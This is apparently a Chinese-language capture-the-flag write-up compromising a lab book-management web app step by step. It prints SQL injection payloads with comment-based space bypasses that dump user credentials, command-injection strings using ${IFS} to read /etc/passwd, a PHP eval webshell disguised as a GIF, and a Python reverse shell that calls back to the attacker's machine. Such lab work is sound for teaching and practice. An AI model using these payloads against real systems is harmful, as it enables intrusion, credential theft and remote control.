目录
信息搜集
终端界面命令查找信息
使用命令查看局域网内使用的IP
arp-scan -l
发现靶机10.4.7.132
查看开放的服务
nmap -T4 -sV -p- 10.4.7.132 #T4是速度,sV是服务,-p-是端口
发现他开放了80端口和http服务,可能有网页
扫描网页的目录
dirb http://10.4.7.132
只有一个目录可以访问10.4.7.132/index.php
进入网页查找信息
因为我的浏览器不知道为啥联动不了bp,所以直接在bp打开浏览器了。。。。。。。
登录网页
进入以后会自动跳转到登录页面
下方有个注册,我们先注册个账号
注册账号
返回登录进入
进入以后发现是个图书管理系统,可以搜索书籍
判断是否有SQL注入漏洞
先尝试单击按钮
模糊搜索
出现图书目录,尝试关键字搜索
先试试开头的字
发现可以显示书籍
再尝试使用后面的字
搜索的内容并没有回显,看来可能是模糊搜索
只不过没出现内容是因为:
select * from users like %osint% ; 这一种是输入任意包含字母都可以查出来
select * from users like osint% ;这种只对后面内容进行补全,所以他也使用了模糊查询
单引号判断法
OSINT' #OSINT是书的名字
使用单引号判断法
如果页面返回错误,则存在 SQL 注入。原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
没有回显,可能是对单引号进行了转义
拼接法
通常语句类型为select * from <表名> where id = 'x',我们通常构造and '1'='1’以及and '1'='2‘来判断是否存在注入漏洞
osint' and '1'='1';#
内容成功出现
osint' and '1'='2';#
内容消失,说明存在sql注入
进行SQL注入
order by
使用order by语句对回显的字段数进行查询
因为现在显示的字段是三个所以我们就按3个来查
osint' order by 3;#
没有回显,猜测可能是对空格进行了过滤
使用//,/**/尝试替换空格 这是一种常用手段,对空格进行过滤,不知道的可以baidu.com
经过测试发现只用/**/能成功
osint'/**/order/**/by/**/3;#
回显成功,再查看一下是否只有三个字段
没有回显,那看来就只有三个字段
union
通过构造联合查询,一步一步获取出数据库名,表名,列名和字段
查看现在的库名
osint%'/**/union/**/select/**/database(),2,3/**/like'
借助information_schema数据库再次进一步深挖数据库信息
其中存放表名的数据表为tables 、 存放字段名的数据表为columns
查询webapphacking数据库中的表格
osint%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp
发现有books和users两个表格
查询users表中的字段
osint%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'and/**/table_schema/**/like'
发现有user和password字段
查看这两个字段中的内容
osint%'/**/union/**/select/**/group_concat(user),group_concat(pasword),3/**/from/**/users/**/where/**/'1'/**/like/**/'
可以发现superadmin账户和他的密码
只不过密码被md5加密了
MD5解密
自己找个网站就可以解密了
最后解密出来的结果是Uncrackable
也就是账号:superadmin 密码:Uncrackable
登录superadmin账户
登录进去以后发现有文件上传和输入框
尝试文件上传
先尝试直接上传php的一句话木马
通过bp拦截
发现上传失败,只能上传特定后缀的文件
上传jpg文件
上传成功了,保存到了uploaded这个文件夹里面
可是我们并没有找到这个文件夹在哪,所以只能先作罢,尝试其他方法
输入框命令注入
两个输入框可能存在命令注入
可以发现在Last Name输入框里输入7*7,可以返回49
使用bp拦截在Last Name行使用名令
system('whoami')
发现可以执行命令
但是在进一步执行命令中却没有回显
猜测,可能是因为过滤空格的原因
绕过空格有很多种方法类似于:
< ----> 重定向,如cat<flag.php
<> ----> 重定向,如cat<>flag.php
%09 ----> 需要php环境,如cat%09flag.php
${IFS} ----> 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php$IFS$9 ----> 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
经过实验发现只有两种方法可以绕过
system('cat${IFS}/etc/passwd')
system('cat$IFS$9/etc/passwd')
查看当前网页的php文件
可以看到网页的源码和文件上传的目录
system('cat${IFS}welcomeadmin.php')
这样的话我们就发现了文件上传的目录了
文件上传
创建一个jpg文件然后打开方式是记事本输入一句话木马
GIF89a<?php @eval($_POST["shell"]); ?>
拖到kali把文件上传
上传成功
为什么不在这里改后缀呢?因为之前已经试过了.php是没办法上传的所以我们需要命令来对靶机目录中的zzx.jpg进行修改成为zzx.php
在下方的输入框进行抓包然后替换成我们的修改文件名称的命令
system('mv${IFS}/var/www/html/uploads/year2020/zzx.jpg${IFS}/var/www/html/uploads/year2020/zzx.php')
修改成功,测试一下进入这个文件
通过蚁剑连接
连接成功
编写反弹shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("你kali的IP",nc开放的端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
上传反弹shell
kali开启nc
蚁剑打开终端启动反弹shell的文件nc.py
提权
反弹成功
先查看自己的home
发现有个文件夹legacy
进入legacy文件夹查看有什么信息
只有一个二进制文件touchmenot
开启这个文件
提权成功
总结
前面的空格过滤有意思但是结尾的提权只是找到个文件就提权了
高开低走,烂尾了。。。。。